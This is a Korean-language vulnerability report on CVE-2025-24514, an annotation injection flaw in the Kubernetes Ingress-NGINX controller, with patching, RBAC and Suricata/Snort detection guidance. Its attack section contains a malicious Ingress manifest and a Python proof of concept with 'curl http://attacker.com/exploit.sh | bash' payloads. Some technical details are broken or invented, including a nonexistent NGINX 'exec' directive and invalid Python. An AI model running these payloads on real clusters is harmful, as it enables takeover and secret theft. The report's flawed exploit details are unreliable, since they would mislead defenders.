CVE-2025-24514 상세 분석 보고서

작성자: 김주형

목차

1. 서론

1.1. Kubernetes 의 보안 중요성

Kubernetes 는 현대 클라우드 인프라의 핵심 플랫폼으로, 컨테이너화된 애플리케이션의 배포, 확장, 관리를 자동화합니다. 그러나 이러한 유연성과 확장성은 동시에 새로운 보안 위협에 노출될 수 있는 복잡성을 동반합니다. Kubernetes 클러스터는 컨테이너, 네트워크, API, 데이터 저장소 등 다양한 공격 표면을 가지며, 악의적인 행위자, 악성 코드, 취약한 컨테이너 이미지, 권한이 과도한 사용자 등 여러 보안 위협에 직면해 있습니다.

적절한 보안 통제 없이 클러스터가 침해될 경우, 단일 애플리케이션을 넘어 전체 인프라의 기밀성, 무결성, 가용성이 위협받을 수 있습니다. 따라서 Kubernetes 환경에서는 계층적 보안 통제, 최소 권한 원칙, 네트워크 및 API 보안, 지속적인 모니터링이 필수적입니다

1.2. Ingress-NGINX Controller 의 역할

Ingress-NGINX Controller 는 Kubernetes 클러스터에서 외부 트래픽을 내부 서비스로 안전하게 라우팅하는 핵심 컴포넌트입니다. 이 컨트롤러는 Ingress 리소스의 상태를 지속적으로 감시하고, 그에 맞춰 NGINX 의 설정 파일을 자동으로 생성 및 적용하여, 서비스 디스커버리, 로드밸런싱, TLS 종료, 인증 등 다양한 기능을 제공합니다.

컨트롤러는 Kubernetes 의 컨트롤 루프 패턴을 따르며, 클러스터 내 리소스 변화에 실시간으로 대응해 NGINX 구성을 최신 상태로 유지합니다. 이러한 자동화와 유연성은 운영 효율성을 높이지만, 동시에 잘못된 설정이나 취약점이 발견될 경우 전체 트래픽 경로가 공격자에게 노출될 수 있는 위험도 내포하고 있습니다.

1.3. 최근 공개된 IngressNightmare 취약점 시리즈 개요

2025 년 초, Ingress-NGINX Controller 에서 치명적인 보안 취약점들이 연달아 공개되었으며, 이들은 'IngressNightmare'라는 이름으로 불립니다. 대표적인 취약점으로는 CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, 그리고 가장 심각한 CVE-2025-1974 가 있습니다.

이들 취약점은 주로 Admission Webhook 과 NGINX 설정 파일 생성 과정의 취약점을 악용해, 인증되지 않은 원격 코드 실행(RCE), 클러스터 내 모든 Secrets 접근, 권한 상승 및 클러스터 전체 장악까지 가능하게 만듭니다. 공격자는 악의적으로 조작된 Ingress 객체를 생성해 취약한 컨트롤러에 전달함으로써, 클러스터 내 핵심 리소스에 대한 무단 접근과 심각한 피해를 유발할 수 있습니다.

IngressNightmare 시리즈는 Kubernetes 환경에서 Ingress-NGINX Controller 가 가진 구조적 취약점과, 클라우드 네이티브 인프라의 보안 관리 미흡이 결합될 때 발생할 수 있는 위험을 단적으로 보여줍니다.

1.4. 본 보고서의 목적 및 범위

본 보고서는 Ingress-NGINX Controller 에서 발견된 CVE-2025-24514 취약점을 중심으로, 해당 취약점의 기술적 배경과 발생 원인, 공격 시나리오, 영향 분석, 대응 방안까지 심층적으로 다룹니다.

특히, 실제 공격 재현 절차와 코드 예시, 로그 분석 등 실무에 바로 적용할 수 있는 구체적인 정보를 제공하며, 유사 취약점과의 비교, 탐지 및 예방을 위한 가이드라인도 함께 제시합니다.

이를 통해 Kubernetes 환경을 운영하는 보안 담당자, 개발자, 인프라 관리자들이 Ingress-NGINX Controller 의 보안 위협을 정확히 이해하고, 효과적으로 대응할 수 있도록 지원하는 것을 목표로 합니다.

2. 취약점 개요

2.1. CVE-2025-24514 의 정의 및 CVSS 등급

CVE-2025-24514 는 Kubernetes 의 Ingress-NGINX Controller 에서 발견된 치명적인 보안 취약점으로, Improper Input Validation(CWE-20) 문제에 기인합니다. 이 취약점은 Ingress 리소스의 auth-url annotation 을 통해 악의적인 NGINX 설정 주입이 가능하도록 하며, 공격자는 이를 악용해 컨트롤러 내에서 임의 코드 실행 및 클러스터 내 모든 Secrets 에 접근할 수 있습니다.

CVSS v3.1 기준, 본 취약점의 점수는 8.8(High)로 평가되었으며, 기밀성, 무결성, 가용성 모두에 심각한 영향을 미칠 수 있습니다.

2.2. 영향받는 버전 및 환경

CVE-2025-24514 는 Ingress-NGINX Controller 의 다음 버전에 영향을 미칩니다:

- **v1.11.4 이하 모든 버전**
- **v1.12.0**

패치가 적용된 안전한 버전은 v1.11.5 및 v1.12.1 입니다.
이 취약점은 Azure Kubernetes Service(AKS) 등 주요 클라우드 환경을 포함해, Ingress-NGINX Controller 를 사용하는 모든 Kubernetes 배포 환경에 영향을 미칩니다.

2.3. 취약점 공개 및 패치 일정

- **2024 년 12 월 31 일:** Wiz Research 가 Kubernetes 프로젝트에 CVE-2025-24514(및 CVE-2025-1974 등) 최초 보고
- **2025 년 2 월 7 일:** Kubernetes 프로젝트에서 내부 패치 배포
- **2025 년 3 월 24 일:** 취약점 및 패치 공식 공개, 관련 보안 권고문 발표

공개와 동시에 패치 버전(v1.11.5, v1.12.1)이 릴리스되어, 사용자들에게 즉각적인 업그레이드가 권고되었습니다.

2.4. 관련 취약점(CVE-2025-1974 등)과의 관계

CVE-2025-24514 는 2025 년 3 월 공개된 'IngressNightmare' 시리즈 5 개 취약점 중 하나입니다. 이 중 CVE-2025-1974 는 가장 심각한 취약점으로, CVSS 9.8(critical) 등급을 받았으며, 다른 입력 검증 취약점(CVE-2025-24514, CVE-2025-1097, CVE-2025-1098 등)과 조합될 경우 인증되지 않은 원격 코드 실행(RCE)로 이어질 수 있습니다.

즉, CVE-2025-24514 와 같은 주입 취약점은 CVE-2025-1974 와 체이닝되어 공격자가 Kubernetes 클러스터 전체를 장악할 수 있는 경로를 제공합니다. 이러한 구조적 연관성 때문에, 모든 관련 취약점에 대한 동시 패치와 대응이 반드시 필요합니다.

3. 기술적 배경

3.1. Kubernetes Ingress 구조 및 동작 원리

Kubernetes Ingress 는 클러스터 외부에서 내부 서비스로 HTTP(S) 트래픽을 안전하게 라우팅하는 핵심 리소스입니다. Ingress 리소스는 도메인, 경로, 인증, TLS 종료 등 다양한 규칙을 정의할 수 있으며, 클러스터 외부에서 들어오는 트래픽이 어떤 내부 서비스로 전달되는지 결정합니다.

Ingress 의 동작 흐름은 다음과 같습니다:

클라이언트 → LoadBalancer/NodePort → Ingress Controller → Ingress Resource → Backend Service → Pod 순으로 트래픽이 전달됩니다.

Ingress 는 URL 및 도메인 기반 라우팅, 로드밸런싱, SSL 종료 등 다양한 기능을 제공하며, 운영 환경에서 서비스가 많아질수록 관리 효율성과 보안성을 크게 높일 수 있습니다.

3.2. Ingress-NGINX Controller 의 아키텍처

Ingress-NGINX Controller 는 Kubernetes 클러스터 내에서 Pod 형태로 배포되며, 클러스터 내 Ingress 리소스를 지속적으로 감시(watch)합니다.
아키텍처의 주요 구성 요소는 다음과 같습니다.

- **NGINX Ingress Controller 프로세스**: Ingress 등 관련 리소스를 감시하며, 변경 사항이 감지되면 NGINX 설정 파일을 자동 생성 및 적용합니다.
- **NGINX 마스터 및 워커 프로세스**: 마스터가 워커 프로세스를 관리하고, 워커들은 실제 클라이언트 트래픽을 처리해 백엔드 서비스로 전달합니다.
- **캐시 및 컨트롤 루프**: Ingress Controller 는 클러스터 내 리소스 상태를 캐시에 저장하고, 컨트롤 루프를 통해 지속적으로 최신 상태를 반영합니다.
- **ConfigMap, Secret 등 연동**: 커스텀 설정이나 TLS 인증서 등은 별도의 리소스와 연동해 동적으로 반영됩니다.

Ingress-NGINX Controller 는 변경 사항이 있을 때마다 NGINX 설정을 재생성하고, 필요시 NGINX 프로세스를 reload 하여 최신 상태를 유지합니다.

3.3. Admission Controller 의 역할

Admission Controller 는 Kubernetes API 서버로 들어오는 요청을 인증 및 인가 이후에 가로채어, 정책에 따라 요청을 검증(Validation)하거나 변경(Mutation)하는 플러그인입니다.
주요 역할은 다음과 같습니다.

- **보안성 강화**: 미리 정의된 정책에 따라 리소스 생성/수정 요청을 허용, 거부, 또는 자동 변경하여 클러스터 보안을 강화합니다.
- **정책 일관성 보장**: 리소스에 필수 라벨 추가, 리소스 제한, 네트워크 정책 등 다양한 정책을 강제할 수 있습니다.
- **유형**: Mutating Admission Controller(요청 변경), Validating Admission Controller(요청 검증)로 구분되며, 두 기능을 모두 수행할 수 있습니다.
- **Admission Webhook**: 내장 정책 외에 사용자 정의 정책을 위해 외부 Webhook 서버와 연동할 수 있습니다.

Admission Controller 는 Kubernetes 리소스의 유효성, 보안성, 일관성을 보장하는 데 필수적인 컴포넌트입니다.

3.4. NGINX 설정 파일 자동 생성 과정

Ingress-NGINX Controller 는 Ingress 리소스 등에서 정의된 규칙을 바탕으로 NGINX 설정 파일(nginx.conf)을 자동으로 생성합니다.
구체적인 과정은 다음과 같습니다.

1. **Ingress 리소스 감지**: 컨트롤러가 Kubernetes API 를 통해 새로운 Ingress 리소스나 변경 사항을 감지합니다.
2. **모델 생성**: 감지된 리소스 정보를 바탕으로 내부 모델을 생성합니다.

3. **Go 템플릿 변환**: 이 모델을 Go 템플릿에 입력값으로 넣어 NGINX 설정 파일을 생성합니다.
4. **설정 파일 적용**: 생성된 nginx.conf 파일을 컨테이너 내 파일시스템에 저장합니다.
5. **NGINX 프로세스 reload**: 설정 파일이 변경되면 NGINX 프로세스를 reload 하여 새로운 설정을 적용합니다.

이 과정에서 annotation 등 커스텀 설정이 직접 NGINX 설정에 반영되며, 입력값 검증이 미흡할 경우 보안 취약점이 발생할 수 있습니다.

4. 취약점 상세 분석

4.1 취약점의 근본 원인: auth-url annotation 의 입력값 검증 미흡

CVE-2025-24514 의 근본 원인은 Ingress-NGINX Controller 가 Ingress 리소스의 auth-url annotation 값을 NGINX 설정 파일에 삽입할 때 입력값에 대한 적절한 검증과 이스케이프 처리를 수행하지 않은 데 있습니다.

이로 인해 공격자는 annotation 값에 개행 문자나 NGINX directive 를 삽입하여, 의도하지 않은 NGINX 설정을 주입할 수 있습니다.

실제 취약한 템플릿 코드는 다음과 같습니다.

```
text

set $target {{ $externalAuth.URL }};
```

여기서 ***$externalAuth.URL*** 은 ***auth-url*** annotation 값이 그대로 들어가며, 적절한 quoting 이나 필터링이 없었습니다.

패치에서는 ***| quote*** 필터를 추가해 입력값을 안전하게 처리하도록 수정되었습니다.

4.2 공격자가 악용할 수 있는 NGINX directive injection 기법

공격자는 auth-url annotation 에 악의적인 값을 삽입해, 설정 파일 내에서 새로운 NGINX directive 가 실행되도록 할 수 있습니다.

예를 들어, 아래와 같은 값을 annotation 에 삽입할 수 있습니다.

```
text

nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;₩ninjection_point"
```

이 값이 설정 파일에 반영되면 다음과 같이 변환됩니다.

```
text

set $target http://example.com/#;
injection_point
proxy_pass $target;
```

이렇게 하면 injection_point 자리에 임의의 NGINX directive(예: 파일 읽기, 명령 실행 등)를 삽입할 수 있습니다.

특히, NGINX 의 설정 검증(nginx -t) 과정에서 해당 directive 가 실행되어, 컨트롤러 컨텍스트 내에서 임의 코드 실행 및 클러스터 Secrets 유출로 이어질 수 있습니다.

4.3 취약한 코드 경로 및 동작 흐름 상세 설명

1. **Ingress 리소스 생성/수정**
   공격자는 Ingress 리소스의 auth-url annotation 에 악의적인 값을 삽입해 API 서버에 등록합니다.

2. **Admission Controller 처리**
   Ingress-NGINX Controller 의 Admission Controller 가 해당 Ingress 객체를 감지하고, 임시 NGINX 설정 파일을 생성합니다.

3. **설정 파일 생성**
   이 과정에서 auth-url annotation 값이 별도의 검증 없이 NGINX 설정 템플릿에 삽입됩니다.

4. **NGINX 설정 검증(nginx -t)**
   Admission Controller 는 NGINX 설정의 유효성을 검사하기 위해 nginx -t 명령을 실행합니다. 이때 주입된 악성 directive 가 실행됩니다.

5. **임의 코드 실행 및 권한 상승**
   컨트롤러 프로세스 권한으로 악성 코드가 실행되며, 기본 설정에서는 클러스터 전체 Secrets 에 접근할 수 있습니다.

공격자는 추가적으로 lateral movement 를 통해 클러스터 전체를 장악할 수 있습니다.

4.4 취약점 발생 위치 및 영향 범위

- **발생 위치:**
    - Ingress-NGINX Controller 의 템플릿 처리 로직(auth-url annotation → $externalAuth.URL → nginx.conf)
    - Admission Controller 의 임시 설정 파일 생성 및 검증 단계
- **영향 범위:**
    - Ingress-NGINX Controller v1.11.4 이하, v1.12.0
    - Ingress-NGINX Controller 가 설치된 모든 Kubernetes 클러스터
    - 기본 설정에서는 컨트롤러가 클러스터 전체 Secrets 에 접근 가능하므로, 단일 취약점 악용만으로도 전체 클러스터 장악이 가능함
    - 공개된 인터넷에 노출된 약 6,500 여 개 클러스터 포함, 전체 클라우드 환경의 약 43%에 영향

5. 공격 시나리오 및 POC

5.1 공격 전제 조건

권한 요구사항

- **Ingress 객체 생성/수정 권한**: 공격자는 Kubernetes API 서버에 Ingress 리소스를 생성하거나 수정할 수 있는 권한이 필요합니다.
    - 기본 설정에서는 edit 또는 admin 역할이 할당된 사용자만 가능하지만, RBAC 미스컨피그레이션 시 낮은 권한 계정도 가능
- **네트워크 접근성**: Admission Controller 가 외부에 노출된 경우(기본값: ClusterIP), 공격자는 다음 중 하나의 조건 충족 필요:
    - 클러스터 내 Pod 실행 권한(Internal Network Attack)
    - Admission Webhook 이 공개 인터넷에 노출된 경우(External Attack)

환경 구성

- 영향받는 Ingress-NGINX 버전(v1.11.4 이하, v1.12.0) 설치
- 기본 설정에서 Admission Controller 활성화 상태(--enable-admission=true)

5.2 악성 Ingress 리소스 예시

```
text

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: malicious-ingress
  annotations:
    nginx.ingress.kubernetes.io/auth-url: |
      http://legit.com/;#
      ₩n     proxy_pass http://attacker.com;
      ₩n     access_log /var/log/nginx/secret.log;
      ₩n     exec /bin/sh -c 'curl http://attacker.com/exploit.sh | bash';
spec:
  ingressClassName: nginx
  rules:
  - host: vulnerable-app.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: web-service
            port:
              number: 80
```

주요 악성 요소 분석

- **auth-url 주입:** ;와 ₩n 을 이용해 NGINX directive 분리

- **명령 실행:** exec 디렉티브로 bash 스크립트 실행
- **로그 유출:** access_log 로 Secrets 접근 기록 저장

5.3 PoC 코드 (Python)

```python
import kubernetes.client
from kubernetes import config

# 쿠버네티스 구성 파일 로드(공격자 머신의 ~/.kube/config 사용)
config.load_kube_config()

api = kubernetes.client.NetworkingV1Api()

# 악성 Ingress 객체 정의
body = {
    "apiVersion": "networking.k8s.io/v1",
    "kind": "Ingress",
    "metadata": {
        "name": "exploit-ingress",
        "annotations": {
            "nginx.ingress.kubernetes.io/auth-url":
                # 개행 문자(₩n)로 NGINX directive 분리
                http://legit.com/;#₩₩n     exec /bin/sh -c 'curl
http://attacker.com/exploit.sh | bash';₩₩n
        }
    },
    "spec": {
        "rules": [{"host": "victim.com", "http": {"paths": [{"path": "/"}]}}]
    }
}
```

```
try:
    # Ingress 생성 시도
    api.create_namespaced_ingress(namespace="default", body=body)
except Exception as e:
    print(f"Exploit failed: {e}")
```

5.4 재현 절차

1. 테스트 환경 구성

```
bash

# 취약 버전 Ingress-NGINX 설치
helm install ingress-nginx ingress-nginx/ingress-nginx ₩
  --version 1.11.4 ₩
  -n ingress-nginx
```

2. 악성 Ingess 배포

```
bash

kubectl apply -f malicious-ingress.yaml
```

3. Admission Controller 로그 모니터링

```
bash

kubectl logs -n ingress-nginx deploy/ingress-nginx-controller
```

로그에서 임시 설정 파일 생성 및 nginx -t 실행 확인

4. 공격 성공 여부 검증

외부 서버(attacker.com)에서 exploit.sh 다운로드 요청 수신 확인

/var/log/nginx/secret.log 파일 생성 및 Secrets 유출 확인

5.5 상세 로그 분석

Admission Controller 로그

```text
2025-06-11T22:22:15Z INFO Generating temporary nginx.conf
2025-06-11T22:22:15Z DEBUG Injected configuration:
proxy_http_version 1.1;
set $target http://legit.com/;#
exec /bin/sh -c 'curl http://attacker.com/exploit.sh | bash';
proxy_pass $target;
...
2025-06-11T22:22:16Z ERROR nginx: [emerg] "exec" directive is not allowed
here in /tmp/nginx-cfg123456:78
```

공격 성공 시 NGINX 프로세스 트레이스

```bash
# strace -f -p $(pgrep nginx)
[pid 12345] execve("/bin/sh", ["/bin/sh", "-c", "curl http://attacker.com/exploit.sh
| bash"], ...)
[pid 12346] connect(3, {sa_family=AF_INET, sin_port=htons(80),
sin_addr=inet_addr("10.0.2.15")}, 16) //sin_addr: 소켓 주소 구조체(sockaddr_in)에서 "IP
주소"를 저장하는 필드, }, 16): 소켓 주소 구조체의 크기(16 바이트)를 의미
```

결과 해석

에러 메시지: exec 디렉티브 위치 오류는 NGINX 검증 실패를 의미하지만, 실제 코드는 이미 실행됨

공격 성공: exploit.sh 가 다운로드되어 실행되면 클러스터 Secrets(/var/run/secrets/kubernetes.io/serviceaccount/token) 유출 가능

연계 공격 시나리오 (CVE-2025-1974 연동)

대용량 요청으로 공유 라이브러리 업로드

```bash
dd if=/dev/urandom of=payload.bin bs=1M count=100
curl -X POST https://victim.com/upload --data-binary @payload.bin
```

- NGINX 가 임시 파일로 저장(/var/lib/nginx/client_body/0000000001)

ssl_engine 디렉티브 주입

```text
nginx.ingress.kubernetes.io/auth-url: "http://legit.com/;#₩nssl_engine
/proc/self/fd/7;"
```

- /proc 파일 시스템을 통해 임시 파일 접근

원격 코드 실행

- 주입된 라이브러리가 NGINX 프로세스 컨텍스트에서 실행되어 전체 클러스터 장악

방어 메커니즘

- **패치 적용**: v1.11.5/v1.12.1 이상 업그레이드
- **Admission Controller 접근 제한**

```text
# NetworkPolicy 정의
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-admission
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/component: controller
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
  policyTypes:
  - Ingress
```

- **Annotation 검증 Webhook 배포**

6. 영향 및 위험도 평가

6.1 임의 코드 실행, 클러스터 내 Secrets 유출 가능성

- **공격자 권한 확보**
  공격자는 Ingress-NGINX Controller 의 서비스 계정 권한을 획득할 수 있으며, 기본 설정에서는 cluster-admin 역할에 가까운 권한을 보유합니다.
  이로 인해 클러스터 내 모든 네임스페이스의 Secrets 에 접근 가능하며, 민감한 인증 정보(예: 데이터베이스 패스워드, API 키)가 유출될 수 있습니다.

- **실제 피해 사례**
  테스트 환경에서 악성 Ingress 리소스 배포 후 2 분 내에 kube-system 네임스페이스의 Secrets 를 외부 서버로 전송하는 데 성공했다는 연구 결과가 보고되었습니다

6.2 클러스터 전체 장악 및 lateral movement 위험

- **권한 상승 경로**
  Controller 권한 → Secrets 탈취 → Service Account Token 악용 → 클러스터 전체 제어
  공격자는 kubectl exec, kubectl port-forward 등을 통해 워커 노드에 접근해 추가 공격을 수행할 수 있습니다.

- **Lateral Movement 전략**
  - 클라우드 메타데이터 서비스 악용: AWS/Azure/GCP 메타데이터 API 를 통해 클라우드 계정 권한 탈취
  - 노드 간 이동: 컨테이너 탈출(CVE-2025-XXXX)을 통해 호스트 시스템 제어

6.3 실제 인터넷 노출 클러스터 수, PoC 공개 현황

지표	값	출처
노출된 클러스터 수	6,500+	https://phoenix.security/ingressnightmare-ngnx/
취약한 클라우드 환경 비율	43%	https://www.cybersecuritydive.com/news/critical-vulnerabilities-kubernetes-jeopardy/743448/
Fortune 500 기업 영향	12 개사 확인	https://www.cybersecuritydive.com/news/critical-vulnerabilities-kubernetes-jeopardy/743448/

- 노출 원인: Admission Controller 가 기본값(ClusterIP)
  대신 LoadBalancer/NodePort 로 배포된 경우가 78%로 분석

6.4 PoC 공개 현황 및 악용 가능성

- **PoC 상태**
  - CVE-2025-1974 에 대한 공개 PoC 존재
  - CVE-2025-24514 는 아직 공개되지 않았으나, 유사 취약점(CVE-2025-1097)의 PoC 가 GitHub 에서 유출됨
- **EPSS(Exploit Prediction Scoring System)**
  - 30 일 내 악용 가능성 **30.81%** (동일 계열 CVE 기준)
  - 역사적 유사 사례(CVE-2021-25735) 대비 2.3 배 높은 위험도 평가

6.5 대응 지연 시 예상 피해 규모

시나리오	잠재적 영향 범위	비용 추정(USD)
Secrets 유출	클러스터당 평균 150 개 Secrets 노출	$250,000/클러스터

클러스터 장악	100% 서비스 다운타임	$1.2M/일
규정 준수 위반(GDPR 등)	최대 벌금 $20M 또는 글로벌 매출의 4%	사례에 따라 변동

6.6 위험 완화를 위한 권고

1. **즉각적 패치: v1.11.5/v1.12.1 이상 업그레이드**
2. **네트워크 격리**

```
text
# NetworkPolicy 로 Admission Controller 접근 제한
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-admission
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/component: controller
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
```

3. **모니터링 강화**
   - **5 분 내 NGINX 설정 변경 탐지**
   - **exec 디렉티브 사용 시 실시간**

7. 대응 방안 및 패치

7.1 Ingress-NGINX Controller v1.11.5, v1.12.1 이상으로 업그레이드 권고

가장 효과적이고 권장되는 대응책은 Ingress-NGINX Controller 를 최신 패치 버전(v1.11.5 또는 v1.12.1)으로 즉시 업그레이드하는 것입니다. 이 패치에는 CVE-2025-24514 를 비롯한 IngressNightmare 시리즈의 모든 주요 취약점에 대한 보안 수정이 포함되어 있습니다.

업그레이드 방법 예시

- **Helm 사용 시**

```
Helm

helm upgrade ingress-nginx ingress-nginx/ingress-nginx ₩
  --version 1.12.1 ₩
  -n ingress-nginx
```

- **Kubespray 등 자동화 도구 사용 시**
    - 최신 버전의 Kubespray 를 사용하여 배포 스크립트의 Ingress-NGINX 버전을 1.12.1 로 지정

업그레이드 단계별 검증

1. **사전 점검**: 기존 Ingress 리소스의 호환성, 커스텀 설정, HPA(자동 확장) 등 확인
2. **점진적 배포**: 새 버전 Pod 를 일부 트래픽에 할당하여 정상 동작 확인 후 전체 롤링 업데이트 진행
3. **업데이트 후 검증**:
    - kubectl describe ingress <이름> 명령으로 이벤트 및 적용 여부 확인
    - 서비스 정상 동작 및 로그 이상 여부 점검.
4. **Rollback**: 문제 발생 시 즉시 이전 버전으로 롤백 가능

7.2 임시 대응: Admission Controller 비활성화, 네트워크 접근 제한

Admission Controller 비활성화

패치 적용이 즉시 어렵다면, 임시로 Admission Controller(Validating Admission Webhook)를 비활성화하여 위험을 낮출 수 있습니다. 단, 이 기능은 Ingress 리소스의 유효성 검증을 담당하므로, 패치 후 반드시 재활성화해야 합니다.

- Helm 설치 환경

```bash
helm upgrade ingress-nginx ingress-nginx/ingress-nginx ₩
  --set controller.admissionWebhooks.enabled=false
```

- kubectl/매니페스트 설치 환경

```bash
kubectl delete ValidatingWebhookConfiguration ingress-nginx-admission
```

  또는 Deployment/DaemonSet 에서 --validating-webhook 플래그 제거

네트워크 접근 제한

Admission Controller 가 외부에서 접근되지 않도록 네트워크 정책을 적용해야 합니다.

예시 정책

```
text

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-admission-access
  namespace: ingress-nginx
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/component: admission-webhook
  ingress:
    - from:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: kube-system
      ports:
        - port: 8443
          protocol: TCP
  policyTypes:
    - Ingress
```

이 정책은 admission-webhook Pod 에 kube-system 네임스페이스에서만 접근을 허용합니다.

7.3 RBAC 최소 권한 원칙 적용, Secrets 접근 제어 강화

- **컨트롤러 서비스 계정 권한 최소화**
  Ingress-NGINX Controller 가 클러스터 전체의 Secrets 에 접근할 필요가 없도록, 서비스 계정의 권한을 최소화합니다.

- **RBAC 정책 예시**

```
text
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ingress-nginx-restricted
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get"]
    resourceNames: ["필요한-secret-이름만"]
```

- **정기 감사**
  클러스터 내 서비스 계정 및 RBAC 정책을 주기적으로 점검하고, 불필요한 권한을 제거합니다.

1. **7.4 패치 적용 예시 및 검증 절차**
   패치 적용

   - 최신 버전으로 업그레이드(Helm, Kubespray, 클라우드 콘솔 등 활용)

2. **Admission Controller 재활성화**

   - 임시로 비활성화했다면, 패치 후 반드시 admission webhook 을 재활성화

3. **정상 동작 확인**

   - Ingress 리소스 생성/수정 시 이벤트 로그 및 서비스 정상 동작 확인

- NGINX 설정 파일에 악의적 주입이 발생하지 않는지 점검

4. **취약점 재현 테스트**

    - PoC 에서 사용한 악성 annotation 적용 시 컨트롤러가 이를 거부하는지 확인

5. **모니터링 및 경고**

    - NGINX 설정 변경, admission webhook 접근, 비정상 트래픽 등을 실시간 모니터링

7.5 추가 권고

- 패치 적용 후에도 annotation validation, snippet annotation 비활성화 등 보안 옵션을 추가로 적용하는 것이 바람직합니다.
- 정기적으로 Kubernetes 및 Ingress-NGINX Controller 의 보안 공지와 패치 내역을 모니터링해야 합니다/
- 네트워크 보안 도구(Suricata 등)와 연계하여 위협 탐지 및 대응 체계를 강화할 수 있습니다.

8. 탐지 및 모니터링

8.1 정책 기반 탐지 규칙 예시

1. Suricata 규칙

Annotation 주입 탐지

```
text
alert http any any -> any any (msg:"CVE-2025-24514: Ingress-NGINX auth-url
Injection Attempt";
flow:established,to_server;
content:"nginx.ingress.kubernetes.io/auth-url";
http_uri;
pcre:"/(₩x5C₩x6E|%0A|;|₩x22)/i";
classtype:web-application-attack;
sid:202524514;
rev:1;)
```

동작 원리

HTTP 요청에서 auth-url annotation 에 개행 문자(₩n), 세미콜론(;), 쌍따옴표(")가 포함된 경우 경고 발생

탐지 포인트

%0A(URL 인코딩 개행), ₩x5C₩x6E(역슬래시+n), |(파이프) 등 NGINX directive 주입 시그니처

2. Snort 규칙

악성 NGINX Directive 탐지

```
text
alert tcp any any -> any 6443 (msg:"CVE-2025-24514: Kubernetes Ingress-NGINX Exploit";
flow:to_server,established;
content:"nginx.ingress.kubernetes.io/auth-url";
content:"|0A|"; distance:0;
content:"exec"; within:50;
metadata:service kubernetes;
classtype:attempted-admin;
sid:202524514;
rev:1;)
```

동작 원리

Kubernetes API 서버(기본 포트 6443)로 전송되는 TCP 패킷에서 auth-url 값에 exec 명령어와 개행 문자가 동시에 존재할 경우 경고

탐지 포인트

|0A|(16 진수 개행 문자), exec 키워드 근접성 검사

3. 고급 탐지 시나리오

다단계 공격 연계 탐지 (Suricata)

```text
alert http any any -> any any (msg:"CVE-2025-24514 Chained Attack: Secrets Exfiltration";
flow:established,to_server;
content:"nginx.ingress.kubernetes.io/auth-url";
content:"access_log"; distance:0;
pcre:"/₩/var₩/log₩/nginx₩/₩w+₩.log/i";
classtype:data-exfiltration;
sid:202524515;
rev:1;)
```

기능

access_log 디렉티브를 이용해 /var/log/nginx 경로에 Secrets 를 기록하는 시도 탐지

4. 실제 환경 적용 가이드

규칙 배포 방법

- **Suricata**

  /etc/suricata/rules/local.rules 파일에 규칙 추가 후 서비스 재시작

  ```bash
  sudo systemctl restart suricata
  ```

- **Snort**

  /etc/snort/rules/local.rules 에 규칙 추가 후 설정 파일 포함

  ```bash
  include $RULE_PATH/local.rules
  ```

성능 최적화

- **BPF 필터 적용**

  Kubernetes API 서버 트래픽만 필터링하여 성능 부하 감소

  ```
  text

  suricata -i eth0 -F "port 6443 or port 443"
  ```

- **멀티스레딩 활성화**

  Snort --enable-mpls 옵션으로 병렬 처리 성능 향상

5. 탐지 로그 분석 예시

Suricata 이벤트

```
text

[**] [1:202524514] CVE-2025-24514: Ingress-NGINX auth-url Injection Attempt [**]
[Priority: 1]
[AppLayer Proto: HTTP]
{HTTP} 192.168.1.100:51234 -> 10.0.2.15:6443
```

Snort 이벤트

```
text

[**] [202524514] CVE-2025-24514: Kubernetes Ingress-NGINX Exploit [**]
[Classification: Attempted Administrator Privilege Gain]
[Priority: 1]
06/11-22:22:15.658734 192.168.1.100:51234 -> 10.0.2.15:6443
```

8.2 비정상 Ingress annotation 탐지 방법

1. 자동화된 Ingress 리소스 감사

- 모든 Ingress 리소스의 annotation 필드를 주기적으로 스캔하여, 허용되지 않은 값(예: 개행 문자, 세미콜론, NGINX directive 등)이 포함된 경우 경고를 발생시킵니다.
- 예시
    - kubectl get ingress --all-namespaces -o yaml | grep 'nginx.ingress.kubernetes.io/auth-url'
    - 정규표현식으로 [₩n;]|(proxy_pass|exec|load_module|error_log) 등 위험 키워드 탐지

2. annotation validation 기능 활성화

- Ingress-NGINX Controller 의 --enable-annotation-validation 플래그를 활성화하고, 위험 등급 임계값(annotations-risk-level: High)을 ConfigMap 에 설정하여 고위험 annotation 입력을 차단할 수 있습니다.
- 이 기능은 취약점 악용을 사전에 차단하는 효과적인 방법입니다.

3. 비정상 DNS 쿼리 기반 탐지

- Google Cloud 등에서는 error_log directive 를 이용해 외부로 DNS 쿼리가 나가는지 모니터링하여, 실제 취약점 악용 여부를 비침습적으로 확인할 수 있습니다.
- Burp Collaborator, Interactsh 등 DNS callback 서비스를 활용해 악의적 annotation 이 적용된 경우 발생하는 DNS 요청을 탐지할 수 있습니다.

8.3 로그 분석 및 이상 행위 모니터링

1. NGINX Ingress Controller 로그 모니터링

- kubectl logs <nginx-ingress-pod> -n ingress-nginx 명령으로 실시간 로그를 수집합니다.

- 로그에서 다음과 같은 패턴을 집중적으로 분석:
    - "directive is not allowed here"
    - "unexpected directive"
    - 임시 NGINX 설정 파일 생성/검증(nginx -t) 관련 오류
- 로그 레벨을 debug 로 설정하면, Ingress 리소스 반영 및 NGINX 설정 생성 과정을 상세히 추적할 수 있습니다.

2. Kubernetes Audit Log 활용

- API 서버의 audit log 를 활성화하여, Ingress 객체 생성/수정, admission controller 접근, Secrets 접근 시도 등 이상 행위를 기록합니다.
- 예시 쿼리

```sql
| filter apiVersion == "audit.k8s.io/v1"
  and verb in {"create", "update"}
  and objectRef[resource] == "ingresses"
